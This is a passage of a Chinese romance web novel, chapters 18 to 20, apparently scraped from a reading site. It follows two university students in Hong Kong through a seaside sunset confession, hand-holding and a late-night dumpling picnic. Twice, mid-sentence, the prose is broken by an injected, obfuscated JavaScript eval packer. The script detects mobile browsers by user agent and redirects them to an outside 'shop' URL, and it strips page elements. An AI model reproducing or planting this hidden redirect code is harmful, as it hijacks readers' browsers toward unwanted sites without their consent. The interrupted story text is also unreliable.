小初倏地看向他。 他这是在和她交换隐私信息吗? 可她有同意吗? 在她想好怎么回答之前,他已再次开口,“方太初,我想跟你说的是,离开他,无论他是谁,无论你不喜欢我。” “???” 小初差点失手将菠萝包按在他的头上。 18. 第 18 章 方太初几乎没被气死。 但她更气的那个人是她自己。 她一万次问她自己,为什么那天非要把心底对余萧弋和Rebecca之间可能存在不正当关系的疑问挑到明面上来,导致她此刻如此被动,连气急败坏骂对方一句“狗眼看人低”都不能。 她是个讲原则和逻辑的人,总不能她可以误会人家,人家就不能误会她吧,她又没比人家哪里更加神圣不可污蔑。 然后她又仔细回想了一下那天她从宿舍楼里出来扑向她爸怀里的情景,以及她环顾四周时那个模模糊糊的熟悉身影,难道就是他? 他还真是闲得不行,世界那么大,他眼界就不能开阔一点吗?干嘛非得盯着她? “怎样?”余萧弋见她半天不说话,脸色瞬息万变的,也有些后悔自己的冒失,但事已至此,他也管不了那么多了,“方太初,我是不是伤你自尊心了?” 小初吸着冻奶茶,就那么抬眸看了他一眼。 眼睛还是那双好看的眼睛,双眼皮深邃,睫毛纤长,眼尾微微上扬,清冷又不失少女的天真。 只是此刻,只剩下冷,天真不翼而飞,余萧弋心头一紧,感觉自己像中了什么毒箭。 “不怎样。”小初放开吸管,“你等我吃完这个黑松露蛋多士。” 余萧弋长舒一口气,“嗯,这个是要趁热吃才好吃。” 小初又接着说:“吃完了我才有力气揍你。” “……”余萧弋咬咬唇。 接下来两个人都没再说话,各自将自己盘子里的食物吃了个七七八八。 小初擦了擦嘴,然后才问:“你看见那男人的脸了吗?” “没,当时距离很远,只看见他个子挺高的,都能把你挂在他脖子上。” 小初呼吸一滞,然后又淡淡地说:“那真是遗憾,其实你要是看见他的脸,就不会劝我离开他了。” 余萧弋问:“为什么?” “因为他长得帅啊,正如你所见他还开迈巴赫。这么一个优质男,也不是街上随便一个女生都遇得到的吧,作为我朋友,你不为我高兴就算了,还要劝我跟钱过不去?你明明知道我最爱钱的,做梦都想发财。” 小初说完就开始欣赏他精彩的表情。 开玩笑,她一个十三四岁就能把她爸吓得不敢随便干涉她私生活的人,还要二十岁主动把自己交给一个陌生人吗? 他以为他是谁啊? 但她最生气的部分还是,他竟然如此看轻她。 在她一次次不计前嫌地给他机会,在他总应该对她的为人有一定了解之后,还能说出这番话来,说明他不是蠢就是…… 他就是蠢。 而蠢人是不需要得到怜惜的。 “你爱钱当然没有错……可是,那个男人很老。你还这么青春美好,老男人不值得你拿自己献祭。” 小初说:“不是你教我不要以结果论的吗?在那之前我本来还有点纠结,后来我也想开了,等哪天黎曼猜想被数学界严格证明之后我再收手好了,到那时候我估计我也财富自由了。” 余萧弋不说话了。 小初在心里送了他一个白眼,看了眼他面前还没有吃完的食物,故作没心没肺地问他:“怎么样,通心粉好吃吗?” “好吃。” 虽然他根本没尝出什么味道来。 “那你慢慢吃。我还有事,我就先走了。”小初站起身来。 “等下。”错身的瞬间,余萧弋抓住她的手腕,“我还有话对你说。” 矮胖店主见两人要走,赶紧迎上来再打招呼,“余少,这么快就走啦?” 话还未说完,店门一开一合,人已经不见了。 伙计凑上前来,意味深长地小声问:“事头,他竟找了个大陆妹做女朋友?玩玩而已的吧?” 却被店主骂道:“做你的事,少八卦。” 两人来到大街上,外面已接近热闹的黄昏。 可小初却只觉心情烦闷,人声嘈杂,手腕上传来的他掌心的温度更让她无所适从,只觉得很冒犯。 “你松开。”小初语气有些冷,“说话就说话,拉拉扯扯干什么?” 余萧弋说:“从这里再往南走不到两千米,就可以走到海边,刚好可以赶上一场日落。” 小初讥诮:“日落适合我和你一块看吗?毕竟我这么爱慕虚荣。” 他笑:“爱慕虚荣也是生命力旺盛的一种表现,你要是不爱钱,我才担心呢。” 小初反应了一下没太明白,“什么意思?” “到海边再说。” 小初说:“你先放开手,我再考虑。” 余萧弋仍不放心,怀疑地看向她:“你得先保证我放开手你不跑,毕竟……”他挑了挑眉,“你身手那么矫捷,我是真的怕我追不上。” 小初冷哼一声:“你更应该担心的是,二十分钟后会不会被我推到海里去。” “推到海里你会救我吗?” “你一个世锦赛预备役的选手,还要我救吗?到时候你就一路游到绮丽去,让你姑姑把你那群狐朋狗友都邀请过来,齐齐欣赏一下你的泳姿。” 余萧弋咬咬牙,但到底还是放开了手。 小初倒有点好奇他还能有点什么高见,索性也就没跑,慢悠悠跟在了他身边。 两人一路向南。 等她意识过来两人几乎和拍拖的小情侣无异逛完了一整条街的时候,他们已经走到海边了。 不远处就是本地一处著名的景点,小初嫌吵,提议再往人少的地方走一走。 余萧弋点头。 小初问他:“所以你到底要和我说什么?” 余萧弋说:“我怕问了你生气。” 小初斜睨了他一眼,“你要是今天还有让我更生气的本事,我只会佩服你。” “事关叶子瑜。” 小初皱起眉来。 他还真有点本事。 “你来香港,不是来找叶子瑜的吗?那,那位男士又是你什么时候认识的,他知道这件事吗?” 小初现在反而平静下来。 身边不断有游客从他们身边经过,一个个神情兴奋。她知道,那边有条叫星光大道的步行街上有很多明星的手掌印,她小时候来的时候根本不认识那些人是谁,所以整个过程兴趣寥寥,一直缠着她妈妈帮她买一个铁板鱿鱼。 铁板鱿鱼哪都有,她偏偏要来香港买。 长大后的她仍旧对他爸妈那一代年轻时才为之疯狂的港台明星无感,所以更加兴趣寥寥,而现在,她甚至连铁板鱿鱼都不想吃了。 来了香港一个月,她大多时间都是一个人奔波在大小教室图书馆和食堂餐厅之间,每天早晚来去匆匆爬坡赶地铁,很少停下来和人交谈。 她粤语不太好,但看繁体字没有问题,除此之外她英文不赖,所以生活上还算顺畅。 这样的独处难能可贵,余萧弋却偏来招惹她。 可她只能在这里待半年,就算再怎么情难自抑,半年之后,她又该拿他怎么办呢。 铁板鱿鱼明明哪里都有。 她又对港风无感。 “那位男士我当然很久之前就认识了,叶子瑜他也是知道的。但我要提醒你一点,我来香港可不是为了他,你也是Smith的学生,应该对我这个课程的设置很清楚吧?我对Smith的学术成就仰慕已久,论文能同时得到两位重量级人物的指导,换你,你不心动吗?” 余萧弋抿抿唇,承认:“是我狭隘了。” 小初看他一眼,算是默认。 他又问:“那你毕业后真的不打算出去深造吗?” 小初反问:“那你呢?” “我?”余萧弋叹口气,像是下定某种决心,坦诚道:“我大概是要去的。” 小初不知怎的心头一刺,但面上还算从容,“几时?” “明年。” “去哪个国家?” “美国。” “读什么?” “金融和经济管理双学位这样吧。” 小初想了想,点头道:“数学转金融确实比较好上手的。” 余萧弋笑笑:“也是没办法的,都是家里一早就规划好的,能让我在国内读多一个硕士,已经算是破例,还是因为我从小成绩比较好,一路跳级过来,到现在也不算太迟。你知道的,我们这边小孩子很多十一二岁就被家里送出去了,英国读一下,再去美国,二十几岁学历,视野和人脉全部到手,再返港或是创业或是接手家里生意。” 小初问:“那你为什么不十一二岁就出去。” 余萧弋笑:“我妈妈怕我们太小出去会变得不辨是非。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16309764|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 小初有些意外:“你妈妈考虑得还挺周到。” “所以,我才到现在还没有钱花啊。十八岁就被她从家里赶出来独立生活,生活费被严格限制,偶尔有额外的自我需求,还要打打工。” 小初摆手:“不要再说下去了,我没钱借给男人的。” 余萧弋快被她气死,没好气地戳了戳她的额头,“你还不明白我在说什么?” “不太明白。” 余萧弋叹口气:“我想问问,你要不要和我一块出去?” 小初愣住。 彼时一轮橘色的太阳已经落到海面上,送给人间一片橘子海。 “你跟我一块出去吧,不出三年,等我毕业,咱们就有钱了,到时候我给你买迈巴赫。跟那个男人比,我年轻,还好看,身高也足够你挂在我脖子上荡秋千。” 余萧弋的神情极为认真,认真到小初甚至忽略掉了他刚才那番话里面的离谱。 她有点彷徨。 海边好多人都在用手机拍落日。 眼前的男孩穿着白色的休闲衬衫,柔顺而有光泽的额发低垂着,满身干净的少年之气。 这样的画面,让小初仿佛置身于一部南国旧电影,海风吹过来,她的头发轻轻地飘着。 “太阳要落下去了。”她转而言它。 “是。” 小初踮起脚,试图让视线越过前面人的头顶。 却忽觉腰间被人握住,下一秒,她就如翩跹的蝴蝶一样坐到路边一个还有点高度的大理石台面上去了。 她被吓了一跳,最主要她实在没想到他还有这样的臂力。 余萧弋也跃了上来,坐在她旁边。 两人看着同一片橘子海。 小初本不想破坏这样的气氛,但她还是坦诚说道:“对不起啊Theo余,我不能跟你一块出去,因为我读的是3+2+3的本硕博贯通培养的课程,我要在我们学校读到我的二十四岁,这个路线,也是我十六岁之前就被规划好的,不会再有什么改变。” 余萧弋抿抿唇,突然问她:“那四年之后呢?” “什么?” “四年之后你会在哪里?” “我会留在北京,当然,也可能短暂因工作需要去哪个城市两年,但最后,我一定还是会回到北京,我跟你说了,我是我爸妈的独生女,我得撑起一切。” “你想过结婚吗?” 小初的脸被阳光映成一片橙色,从而掩盖了她皮肤上本来泛起的热,“我才二十岁,为什么要想那么久远的事?” “其实也不远了,你想和一个人结婚,从认识到确认关系需要时间,然后还要相处至少三年看看对方适不适合长期在一起生活,万一不合适,结束一段关系再重新开始,不仅要浪费很多时间,还不能保证一定还能遇上那个让你有勇气走进婚姻的人。你是学数学的,难道会随遇而安?” 小初感觉自己有那么一瞬间好像被谁洗脑了。 然后就听见他说:“你要不要考察考察我?我觉得咱们俩,还挺适合长期在一块生活的。” “何以见得啊余同学?”小初有些无语。 “首先,我聪明,你自己这么优秀,肯定不会喜欢身边天天晃悠一个傻瓜吧?” 小初送他一个白眼,“还有呢?” “其次呢,从你选那个男人的品味来说,你喜欢帅哥,我总算还勉强能达到你的审美要求吧?” 小初冷笑:“这你就大错特错了。” “还有最重要的一点,你喜欢钱,而我在你想结婚之前,肯定已经有钱了。” 小初实在忍无可忍,双手扶住他的脸强制让他看向海上的太阳:“不要再说话了好吗?太阳快要落下去了。” 她掌心的柔软让余萧弋有瞬间的迷失。 不远处有歌手在唱歌。 周柏豪的《lovin'' you》。 我只会知我不可以待你差 寒冬变身炎夏石头化风沙 我都会等令你心有日软化 I''m loving you我就算辛苦 也不苦 I''m loving you空等也不顾 I''m loving you I love you,I love you, I love you 19. 第 19 章 方太初从不知短短一个夏天可以发生这么多事。 本来停滞不前的日子仿佛突然被谁按下了快进键,再睁眼,等待她的已是一个充满未知和挑战的美丽新世界。 人真是复杂的情感动物,就在一个月之前,她还在为另一个人患得患失,而现在,她的心似乎已在不知不觉中被眼前的男孩填满,再没有余力怀念过去。 旧的困扰迎刃而解,新的困扰却来势汹汹,她完全不知道该拿他怎么办,又该拿这段感情怎么办。 她明知两个人认识的时间太短,对彼此根本还谈不上了解,更不要说她很快就会离开这里,而他一年后也要去异国求学。 人与人之间的情感得浓烈到什么程度,才能不被几年的分离冲淡? 再之后呢? 若要求一个好的结果,肯定还是有一个人要妥协去另外一个人的城市生活,她不愿意也不能离开北京,他难道就不是在自己根植的土壤才会发展得更好吗? 他们都是现实世界里活生生的人,不是童话世界里的王子和公主,甜蜜一吻就可以以“他们将永远幸福地生活在一起”作为完美结局,后续的争吵,矛盾,柴米油盐所带来的琐碎和无聊全部一笔带过。 她明知道,她什么都知道。 可依然控制不住此刻的怦然心动,整个人已融化在夕阳的体温里,心跳声淹没了汹涌的人潮。 整个世界只剩下一个他。 他的眼睛生的真好看,可见他妈妈当年靓绝松花江并非妄言。 和小说里常常形容男主的那种薄唇不同,他的唇珠很明显,唇形立体感十足,迷人中又带着一点俏皮。 看着就…… “想亲吗?”余萧弋突然开口,声音低沉而蛊惑。 小初这才意识到自己还捧着他的脸,她不敢相信能做出此等没边界感事情的人会是她,恍如梦醒般慌乱撤开手,并别过头去。 假装去看远处的风景。 “方太初,你好像并不仅仅是不讨厌我。” 余萧弋歪头看向她,眼底含着笑,无比自信和笃定,像是自己真有看穿别人心事的本事似的。 “少自恋。”小初瞪他一眼,有些无地自容,“我要回去了。” “等下。”余萧弋挡住她,“我刚刚说的话你还没给我答案。” 小初这次没有直接拒绝,只说:“你容我好好想想。” “想什么?” “想想你值不值得我打乱我未来好多年的规划。” 余萧弋露出一个了然的神色,唇角的笑容越来越盛,“才看我一眼,就已经想到未来好多年的事了啊?” 小初看向他,反问:“难道你只是一时兴起吗?” 余萧弋的笑容凝住。 马上澄清:“当然不是。” 小初又问:“你之前谈过几个女朋友?” 余萧弋说:“幼稚园那种手拉手一起吃果果的就不能算了吧?” 小初轻盈地从大理石台面上一跃而下,转身就走,“不想回答就算了。” 余萧弋追上来,解释道:“没有不想回答,只是怕答了会在你心里减分。” 小初蹙了蹙眉,“所以,你谈过很多?余萧弋,我方太初是个做什么事都很认真的人,你最好想清楚,我可不是能随便给你拿来消遣的便利贴女友,任你想要就要,不想要了就撕掉扔进垃圾桶。” 太阳已经跃入地平线之下,街上都是逛街的小情侣,每一对脸上都是甜蜜的笑容,与他们擦身而过的女孩把喝不完的奶茶递给男友,撒着娇让他帮她喝。 男生一脸无奈,嘴上说着:“小姐,我以后出门都不要点东西好了,总这样吃双份迟早变成肥仔。”动作上却毫不犹豫,一手接过奶茶,一手揽住女朋友的腰,两人迈着一致的步调,慢慢走远。 所有人的幸福都是那么平凡而具体,只有她方太初,在二十岁的年纪就开始为未来可能发生的风险忧心忡忡。 有时候她也觉得这样的自己很无趣。 “我要是对你说我没有谈过……”余萧弋有些难为情,“你会不会觉得我很没有魅力?” 小初怔住,继而难以置信地瞪他一眼:“你是不是已经开始消遣我了?” 他会没谈过? 她就没见过几个比他还热烈大胆又擅长在别人心上抛锚的人了,她的心都快被他勾乱了,他倒跟她装起纯情来了? “真没有!”余萧弋神色认真,“因为我觉得恋爱是人与人之间一种比较深刻的交往,不是随便谁都可以的。我同意你刚才的说法,我也不想要便利贴似的爱情,身边太多人来来去去,人会混沌和麻木的,这是对自己的不负责,也是对别人的不负责。” 小初对此不置可否。 两人并肩走下地铁站,从这里回学校,只有几站的距离,用不了太多时间。 夜色已降临,街道两旁霓虹开始闪烁,将二人都融进这座城市的脉络中。 小初第一次觉得,香港和北京,其实也没有那么大区别。都是一样的高楼大厦车水马龙,都是一样满大街为生活奔波的人,从烟火中走来,又归于烟火。 晚高峰时段的地铁有些拥挤,他们没有往里面走。车厢接驳处摇摇晃晃,两人贴得太近,近得两人只好各自回避目光,虚虚看向车厢上的贴纸广告。 某个换乘站上下车的乘客太多,混乱中小初险些跌倒,下一秒左手已被某人握在掌心,那个被包裹的感觉让她一阵眩晕,接着就是浑身血液在极速倒流的失控感,她倏地抬起头来。 “借你用一下。”余萧弋话说得不经意,事实上呼吸已经急促到乱了他说话的节奏,很多事情来不及细想,就已经自然而然地发生了。 小初也不知道自己为什么没有甩开他。 不仅没甩开,还就那样任他牵着她下了地铁,又走了足足有十分钟,才到她们宿舍楼下。 刚爬完坡的两个人都有些轻微的喘息,掌心肌肤相接处温热而潮湿,已经分不清是谁紧张更多,流了太多手汗。 “我走了。”小初看了眼楼上的方向。 “嗯。” 话虽这么说,她却没有迈步。 他也没有松手。 两人就这么僵了一会儿,小初才想起来问他:“你住得远不远,从我这边再折腾回去会不会很麻烦?” 他答:“远是不远,不过今天是我们家的Family Day,我要赶回去吃饭。” 小初惊住:“那你不早说!” 余萧弋笑:“也是才想起来。” 小初催促他:“那你赶快回去吧。” 余萧弋却说:“又到晚饭时间了,你饿不饿,不然我陪你吃了饭再回去好了,反正我家离这边也只有八公里,乘计程车也很快的。” 小初下意识问:“这么近?” “嗯,就在山顶白加道,那边风景和视野都很不错,回头你去了就知道了。” 小初的着力点却不在这个上,只说:“全港可以看风景的地方那么多,谁要去你家看?” 余萧弋但笑不语。 台阶另一头的小情侣开始肆无忌惮地接吻,气氛有点尴尬,小初不敢多看,只迅速说了句拜拜就抽回自己的手跑上了楼。 原本吵得人头疼的宿舍楼今天不知为何非常安静,只有林佳宜一人正在公共厨房煮东西吃,小初不明所以,问林佳宜:“人都哪去了?” 林佳宜答:“今晚好像有high table dinner,很早他们就都出门了。” 原来有高桌晚宴。 小初心不在焉地点点头,就迅速跑回了宿舍,透过窗户向外看,他果然还站在楼下,并没有离开。 脊背顿时有些绷直,那一刻她也说不上自己心里是个什么滋味,之前好多次,和艾琳穿过宿舍楼下一对对旁若无人拥抱在一起的情侣时,她都很不以为然,“这么难舍难分,是怕明天的太阳升不起来吗?” 艾琳笑:“等回头你自己谈恋爱时候再来说这句话。” 小初信誓旦旦:“我宁可不谈恋爱。” 如今事情发生在自己头上,她才意识到有些话不能说得太早。 她打开窗户喊他名字:“余萧弋!” 他似是有些意外,大大朝她的窗口挥了挥手,又做了个打电话的动作,才慢慢沿着台阶下去了。 一直待他的身影彻底消失,小初才怔怔回身走向室内,跌坐在床上。 他的微信已经进来了。 「你平时都喜欢吃什么?我叫家里的工人姐姐做了给你带过来。」 小初轻轻挑了挑眉,「快别麻烦,被你妈妈发现你出国之前还不要脸勾搭小姑娘,肯定要把你腿打断。」 他回她:「她才顾不上我,家里两个混世大魔王,一个功课一塌糊涂,还有一个早恋得明目张胆,天天有小男生打电话到家里来,跟他们比,我已经是优等生,她要再打断我的腿,这个家恐怕真没希望了。」 小初被他逗笑:「越说越不要脸。」 余萧弋问:「你喜欢吃水饺吗?我们家有个工人姐姐内地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16309765|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的,水饺做得一绝。」 小初答:「挺喜欢的,但真不用麻烦。」 他不接茬,又问:「喜欢什么馅?」 小初只好说:「除了香菇都还好。」 他发过来一个开心的表情,「好,那你等我,十点半在你宿舍楼下见。」 小初无语地回他:「我们不是刚刚分开吗?有必要这么快见面吗?再说,我还没考虑好到底要不要和你交往呢。」 他却说:「你考虑你的,考虑又不耽误吃水饺。」 小初抿抿唇,没再回他。 简单洗漱了一下,她就躺在床上拉过被子将自己埋了起来。本打算做几道证明题让自己冷静冷静的,最后也没动弹。 林佳宜端了碗面进来,见她直直看着天花板发呆,不禁问道:“太初,你怎么了?又不舒服吗?” 小初回过神来,答道:“没,就是赶飞机有点累。” 林佳宜问:“考试怎么样?” “应该问题不大。” “真厉害。”林佳宜由衷地投给她一个欣赏的目光。 小初想起一件事来,问她:“我这两天不在,还有人往咱们门上贴辱骂纸条吗?” 林佳宜凝神想了想,“你不说我还没注意,好像真的没有了哎。” 小初冷哼,“看来就是和那个Wendy朱脱不开关系。” 林佳宜说:“管她呢,以后她和我们井水不犯河水就好。” 小初不语。 林佳宜开始吃面,然后才想起她来:“倒忘记问你,你饭吃过了吗?我锅里还有多的,要不要盛一碗给你?” “不用了佳宜姐,我吃过了。” “好。”林佳宜不再打扰她,转过去点开手机里一篇医学论文,边看边吃。 小初一肚子心事不敢说给她这个不婚主义,只好发消息给远在北京的艾琳,「琳,你觉得啊,如果一个人不抵触和另一个人有身体接触,这个能算作喜欢吗?」 她原本并没有期待她能马上回她,不想那边比她这当事人还兴奋:「谁?你?你恋爱了!对方是谁?哪里人?帅吗?」 小初发了个无语的表情过去,「姐姐,你这么多问题我该先回答你哪个?」 「那就先回答,帅吗?」 小初说:「我不知道,应该算帅吧。」 她把认识那天在雨夜中给他拍的那张照片给艾琳发过去。照片里的余萧弋一身黑衣溶于夜色中,唯有一张脸氛围感十足,只是眼神有些错愕,似是根本没预料到她会拍他。 艾琳看了只发了两个字过来:「牛逼。」 小初发了一串省略号过去。 艾琳又问:「你和他怎么身体接触了,接触到什么程度了。」 小初说:「你想到哪去了,就拖拖手,拖拖手,应该不能算是确认关系吧?」 这话说出来她自己都心虚,并且开始无限后悔自己刚才怎么一路上都没有甩开他,导致她现在这么被动。 他现在一定得意坏了吧?连三年后给她买迈巴赫的承诺都不用兑现了,只勾勾手,她就沦陷了。 艾琳回:「那拖拖手肯定不能算的。」 小初长舒一口气,「是吧?」 她又回:「你最好今晚就把他睡了,彻底把这段关系坐实。」 小初几乎没把手机摔了。 「可是都不确定两个人会不会有未来,就不管不顾在一起,是不是有点轻率?」 艾琳似是终于忍不了了,「小姐,你才二十岁,干嘛谨慎得跟离过一次婚一样?二十岁不是正应该大声哭,大声笑,大声说爱,又恨得死去活来的年纪吗?你信我的,你这个年纪做这些尚且还称得上可爱,等你到了我这么大啊……就多少有点发癫的嫌疑了。这么帅个男的做初恋,委屈你了吗?」 小初把手机扔到了一边去。然后整个人就陷入了一种很不真实的漂浮感中,那种感觉让她头脑发昏,一时觉得快乐,一时又觉得难过,一时想不顾一切爱下去,一时又觉得两人是不会有结果的。 她觉得自己快被折磨疯了。 林佳宜出去洗完餐具回来见她还在床上翻来覆去,忍不住笑道:“太初,你是不是谈恋爱了?” 小初忽地坐起身来,“这么明显吗?” “明显呀。”林佳宜揶揄,“你都对着我墙上的手绘海报傻乐半天了。” “……” 小初定睛去看,才发现那海报上写的是——治不了,没救了,等死吧。 林佳宜这算什么白衣天使? 20. 第 20 章 九点半一过,宿舍楼开始地动山摇。 方太初心知是那帮参加高桌晚宴的回来了,她们这间舍堂是六间双人宿舍共用两个洗手间,为了避免人多排队,她决定先去洗澡。 洗了澡出来,她们这边的公共区域才逐渐热闹起来。她和林佳宜被分到的是本科生居多的宿舍楼,和她们做邻居的都是些大二大三的女孩子,有的和她差不多大,有的可能比她还大些。 因为有着装要求,女孩子们绿色学士袍里大多搭的都是黑色小礼服裙,再配上精致的妆容和配饰,看着极为靓丽活泼。 她们呼啦啦冲进卫生间,叽叽喳喳谈论着今天晚宴上的见闻,特邀嘉宾的演讲有多无聊,管弦乐队的表演出了几处错,餐食如何难吃,以及来参加活动的男生丑得如何惨绝人寰。 来香港这么久,这还是小初第一次感到这里的夜晚如此令人愉悦和轻松。 各个宿舍都陆续亮起了灯,唯有隔壁Wendy朱的房间安安静静,小初微不可察地挑了挑眉,猜着她应该是参加完活动又去赶第二场了。 她对她没有别的意见,更对她的私生活没有任何窥探欲,只要她不来找她麻烦,她很乐意像林佳宜说的那样,和她井水不犯河水。 回到宿舍,余萧弋的微信也进来了,他说他大概一刻钟左右到她楼下。 一刻钟不算长,但对于小初这种天生丽质的女生来说,随便收拾出个能见人的样子,倒也绰绰有余了。 只不过凭着对余萧弋浅薄的了解,她还是从衣柜找了条稍微女生气一点的裙子来,以免自己卫衣牛仔裤的样子太随意,搞砸两人真正意义上的第一次约会。 因为她判断,他肯定是会换了衣服再来的。 化妆包里两只唇釉,一只鲜艳,一只清透,这次她没有犹豫,直接选了那只玫瑰色的。 林佳宜抬起头,笑问她:“约会去呀小玫瑰?晚上还要给你留门吗?” 被人当场拆穿秘密的感觉不太好,小初嗔道:“佳宜姐,你一个不婚主义不是应该最厌男吗,怎么还打趣别人。” 林佳宜喝了口水,表情淡然:“你没听说人的信仰只能用来规训自己吗?毕竟人类的繁衍还要靠你们,你们都不谈恋爱结婚生孩子,我们做医生的拿谁开刀啊?” 小初想了想,忽然狡黠地朝她笑了笑:“佳宜姐,忘了跟你说,你那个水杯前几天进过好几只飞蚁。” 虽然,我已经帮你洗过了。 不过这句话她故意没说。 林佳宜的表情一下愣住:“臭小孩,你怎么不早说!” 在她拿她开刀之前,小初已经大笑着逃出去了。 余萧弋已在楼下。 小初没谈过恋爱,也不知道自己是该就这么下去,还是故意再拖上个十几二十分钟,以免被人家误会她想见他的心太过急切。 可她已经把林佳宜给惹毛了,退路已绝,只能一往无前了。 远远地,她就瞧见了他。 双手插袋,斜斜倚在一截栏杆上,还是白天那身衣服,发型甚至有些凌乱,除了耳朵上多了根银白色的耳机线之外,没有任何刻意扮靓的嫌疑。 小初愣住。 浪费大量时间做错题的窘迫和懊恼再次袭来,她脑子里第一反应是要不要立刻跑回宿舍去,也别管林佳宜的手术刀锋利还是不锋利,就算死也要迅速把她衣柜里平常那些衣服都翻出来,随便什么学院风休闲风还是不修边幅风,总之不让她此刻如此丢脸都行。 可是已经来不及了,他已经看见了她,并大步向她跑来。 未免输得更多,小初赶紧侧过身去,一抬手,后脑束发的黑色缎带已经被她扯了下来,随之下来的还有左耳一只小巧璀璨的钻石耳钉,但右耳那只已经没时间摘了,好在她蓬松而茂盛的头发已经全部披散了下来,刚好遮住一切。 “方太初?” 余萧弋的声音已在耳畔响起。 “嗨。”小初轻轻拢了拢头发,若无其事回身过去,“你什么时候到的,等久了吧?” “没,我也刚到。”余萧弋深邃的眼眸在月色下闪着碎芒,温柔如水般蔓延至眼角,“你今天真好看。” 小初有点招架不住他眼中的灼热,只能将目光转向别处:“今晚的月色很美,是吧?” “嗯。”余萧弋唇角的笑意越来越深,用粤语回了句,“风亦温柔。” 小初将目光落在他脸上,有些不解:“今晚有风吗?我怎么感觉很闷热,像是后半夜就要下雨的样子。” 余萧弋说:“傻瓜,你不知道今晚月色很美就是‘我爱你’的另外一种表达吗?” 小初听了立刻跟只炸了毛的猫一样跳了起来,恨不能拿党来发誓,“我真不知道!God,你可千万别误会,好吗?我要是事先知道,就让我,就让我这辈子都不能和自己喜欢的人……” 她还没语无伦次地澄清完,唇已经被他两根手指封住,耳畔的声音极淡,“别胡说。” 小初没有捕捉到他眼底一闪而过的落寞和难过,但还是适可而止地住了嘴。她只是没谈过恋爱,又不是傻,怎么会意识不到刚刚那句话很破坏气氛。 唇上传来的触感实在令人心悸,心悸到她生怕他感受到她的慌乱,只好稍稍别过头去,躲开他的指尖:“你……来找我,有什么话,快说,我明天还要上早课。” 余萧弋反而笑了出来,若无其事收回手,瞥她,“不是说了给你送水饺来了吗?” 小初也才想起这回事来:“你还真为这事跑了一趟?”然后又看了看他左右:“水饺在哪呢?” 余萧弋指了指长阶之下,“我车里呢。” 小初咬了咬唇。 余萧弋似是看出了她心里的犹豫,解释道:“保温餐盒有点不太好拿,所以就没拿上来。”他笑了笑,又说道:“还有就是我也还没吃呢,想着跟你一块吃。楼下的街心公园蛮安静的,要不要陪我下去坐坐?” 小初说:“陪你也就陪了,但我不太想喂蚊子。” 余萧弋说:“我车上有防蚊液,顺便也不怕你知道,从小到大我都是最招蚊子的那一个,有我在,蚊子肯定不咬你。” “咬你也不行啊。”小初担心地看了看长阶下面树木蓊郁的街心花园,“一会儿你也要多喷点防蚊液。说起来我真的很好奇,为什么你们这边的人看起来那么温柔,蚊子却又大又凶!我们北京的蚊子小小的,身上也没有花纹,被咬了有时候连痕迹都没有,哪像你们这边咬一下一个星期都不会恢复!” 两人并肩朝台阶下面走去。 余萧弋这才终于舒了一口气,从见面到现在她就一直在给他添堵,像防贼一样防着他,仿佛傍晚时分两人拖过手的事全是他一个人的幻觉,她的心到底什么做的,还真是钢筋水泥吗? 小初却浑然不知他在想什么,仍自顾自说着:“你为什么没吃饭?不是说好回去过家庭日的吗?” 余萧弋却对此不想多谈,只说:“光是站在那聆听教诲就已经饱了。” 小初笑:“你不是说你妈妈没空管你吗?怎么又教诲起你了?都教诲你什么?” 两人正说着,已经到了他车边。这次他终于又换回了第一次见面时他开的那辆车,小初不知怎么反而心下一软,总觉得这样的他才更接近她喜欢的那个他,比开跑车招摇过市的那个他观感上要舒服很多。 余萧弋先从车里拿出防蚊喷雾递给小初,“你先喷,小心别被蚊子咬了,我们南方的蚊子确实有点毒。” “不不,你招蚊子,还是你先喷。”小初拉住他,“你别动。” 下一秒,轻薄而微凉的雾气已经飘散开来,余萧弋心里某根弦骤然收紧,差一点冲动抱住她。 小初围着他绕了一圈,自己也有些忍俊不禁。 她这样单纯而可爱,余萧弋反而不忍,只说了句,“你赶紧处理一下你自己。”就转身过去打开了后备箱,把里面的东西一件一件搬了下来。 小初一边往自己身上喷喷雾一边看他。 直至他开始搭折叠桌椅才惊疑出声:“Theo余,你这是把你们家露营的设备带这来了?” “嗯,这个很便携,设计也很符合人体工学,免得你坐公园的椅子久了不舒服。” 小初心说,我又没打算坐久。 余萧弋动作极为利落,几下就搭好了桌椅,并把餐盒摆到了桌子上,小初注意到,他不仅拿了水饺,还打包了好几盒别的菜,甚至还带了一打不同口味的果汁。 “请吧方小姐。”他笑着伸了伸手臂。 在月光和路灯的双重映照下,树下的男人长身而立,周身都流动着一种不可名状的潇洒,小初的心脏骤然一跳,一时竟有点分不清这是梦境还是现实。 隔了几秒,她才平缓了一下呼吸说道:“这……好像有点太麻烦了吧?” 余萧弋说:“本来还有个可以摆在桌面上的灯,但为了避免招来飞虫,我们就不摆了吧?”他笑笑,小叶榕的叶子在脸上摇晃着,“刚好,今晚月色很美。” 小初的睫毛剧烈动了几下,莫名有些拘谨。 生怕他再多说几句话,林佳宜今晚就真的不用给她留门了。 “你这样明目张胆,你家工人姐姐没有所怀疑?”小初坐下,不自然地拿过一瓶饮料过来,想拧,又低头看了眼上面的字,番石榴酸奶,才放下心来,自从上次不小心喝了一个口味很奇怪的气泡水之后,她每次都很谨慎,生怕被暗算。 余萧弋却下意识伸手过来拿过瓶子,“我帮你。” 